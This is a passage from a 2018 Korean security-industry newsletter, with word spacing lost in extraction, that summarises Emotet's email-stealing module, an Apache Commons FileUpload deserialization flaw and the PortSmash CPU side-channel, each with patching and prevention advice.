주요키워드 1 다시급증하는이모텟 (Emotet) 악성코드, 이메일정보유출하는모듈추가 최근이모텟악성코드가드로퍼 1 형태로사용되어류크 (Ryuk) 랜섬웨어를감염시킨사례가발생하였으며, 이로인해해당키워드가많이언급되었다. 최근발생한류크랜섬웨어공격을보면, 이모텟이반복적으로생성되어다른프로세스에주입되고스케줄작업, 레지스트리키, 시작폴더바로가기를통해지속적으로등록된다. 이후트릭봇과같은 2차페이로드를다운받아, 이를통해류크랜섬웨어가유포된다. 이모텟악성코드는뱅킹트로이목마와같은악성코드배포에사용하는데, 이는파밍 (Pharming) 기법과유사하다. 웹페이지, 이메일등을통해유용한프로그램으로속여사용자의개인정보를탈취하는악성코드이다. 주로금융거래정보를탈취하는뱅킹트로이목마로사용되고있지만, 최근에는이메일관련정보를탈취하는기능이추가된모듈이등장하였다. 공격자는이모듈을이용해 180일이내에보냈거나받은모든이메일의주소와본문을탈취할수있으며, 그결과다량의개인정보를획득할수있다. 공격자는개인상호간메시지 (IPM) 루트폴더에있는이메일을크롤링한후, 이메일본문의 16KB 크기만큼을공격자의 C&C 서버로전송한다. 아래그림은이모텟악성코드를활용한이메일정보탈취과정을나타낸다. 공격자는이모텟악성코드에감염된컴 퓨터에자신의 C2 서버로부터이모텟모듈을다운받아활성화시킨다. 이모듈은이메일을검사하고, 탈취한이메일 정보를임시파일 (TMP) 에저장한다. 임시파일전체가 C2 서버로전송하는기능을수행한다. 1 드로퍼 : 바이러스, 트로이목마등의악성코드를사용자가인지하지못한순간에사용자컴퓨터에설치하는프로그램 EQST insight 41
Emotet C2 Emotet 감염시스템 이메일스캔밎내용추출 TMP 파일에이메일저장 이메일업로드 (.TMP) C2 프록시 다량의메일정보수집 이모텟악성코드와류크랜섬웨어가융합되어발생한것으로볼때, 표적에대한맞춤형랜섬웨어공격이가능하므로이에따른각별한주의가요구된다. 악성코드에대한감염을예방하기위해서는출처가명확하지않은이메일의 URL 링크와첨부파일은실행하지말아야한다. 또한 OS 신규취약점을패치하고, 백신을최신버전으로업데이트하여주기적으로검사하는등의보안조치가이루어져야한다. EQST insight 42
주요키워드 2 Apache Struts 내 Commons FileUpload 라이브러리에서원격코드실행취약점 또다시발견 [ 웹로직실행경로 ] 아파치커먼스파일업로드 (Apache Commons FileUpload) 라이브러리에서원격코드실행취약점이발견되었다. 취약점에영향받는버전은아파치스트러츠 (Apache Struts) 2.3.36을포함한이전버전이다. 2년전에발견된취약점 (CVE-2016-1000031) 으로최신 Apache Struts에서다시발견되었다. 취약한라이브러리를사용할경우공격자는자바객체를조작하여, 비직렬화 (deserialize) 시임의의위치에서디스크에쓰거나파일을복사할수있다. 취약점에대한대응방안은다음과같다. 만약취약한버전의라이브러리를사용하고있다면수동으로취약점이패 치된커먼스파일업로드라이브러리버전 1.3.3 으로대체해야한다. 해당라이브러리를포함하여애플리케이션으 로배포가된경우라면, WEB-INF/lib 경로에있는 commons-fileupload jar 파일을교체해야한다. EQST insight 43
주요키워드 3 포트스매쉬취약점발견 (CVE-2018-5407) Intel CPU 에서포트스매쉬 (PortSmash) 취약점이발견되었다. 취약점에영향받는 CPU 버전은스카이레이크 (6 세 대 ) 와카비레이크 (7 세대 ) 나, AMD 의라이젠을비롯해하이퍼스레딩 (Hyper-Threading) 을지원하는 CPU 에서도 공격이가능할것으로예상된다. 이취약점은 CPU 성능향상을위해사용되는인텔의동시멀티스레딩 (SMT, Simultaneous Multithreading)/ 하이퍼스레딩의설계적결함에의해발생한다. 동일한물리적코어내인접해있는독립적인프로세스에서두스레드를실행할때, 일부하드웨어자원을공유하는특징을활용하여한프로세스가다른프로세스에대한정보를획득할수있다. 이를위해부채널공격 (Side-channel attack) 방식이사용되는데, 특정명령에소요되는정확한시간을분석하여입력한데이터를추측해내는공격이다. 포트스매시공격연구팀은이러한취약점과시간측정공격을통해동일한 CPU 코어에희생프로세스와악의적인 포트스매쉬프로세스를함께실행시킨후, 프로세스의작업을스누핑하여 OpenSSL 의개인키를획득하는데성공 하였다. 현재 PoC 가공개되었으나, 아직 Intel 에서보안패치를제공하지않은상태이다. 따라서 Intel 에서보안패치를발표 하기전까지는 CPU 칩의 BIOS 에서 SMT/ 하이퍼스레딩을비활성화해야하며, OpenSSL 사용자는해당취약점을 패치한 1.1.0i 버전과 1.1.1 버전소프트웨어업데이트를진행해야취약점에대응할수있다. EQST insight 44
2018.11 INSIGHT 경기도성남시분당구판교동 255 번길 46 4 층 www.skinfosec.com 발행인 : SK인포섹 EQST Group 제작 : SK인포섹 Communication팀 c 2018. SK infosec All rights reserved. 본저작물은 SK인포섹의 EQST Group에서작성한콘텐츠로어떤부분도 SK인포섹의서면동의없이사용될수없습니다.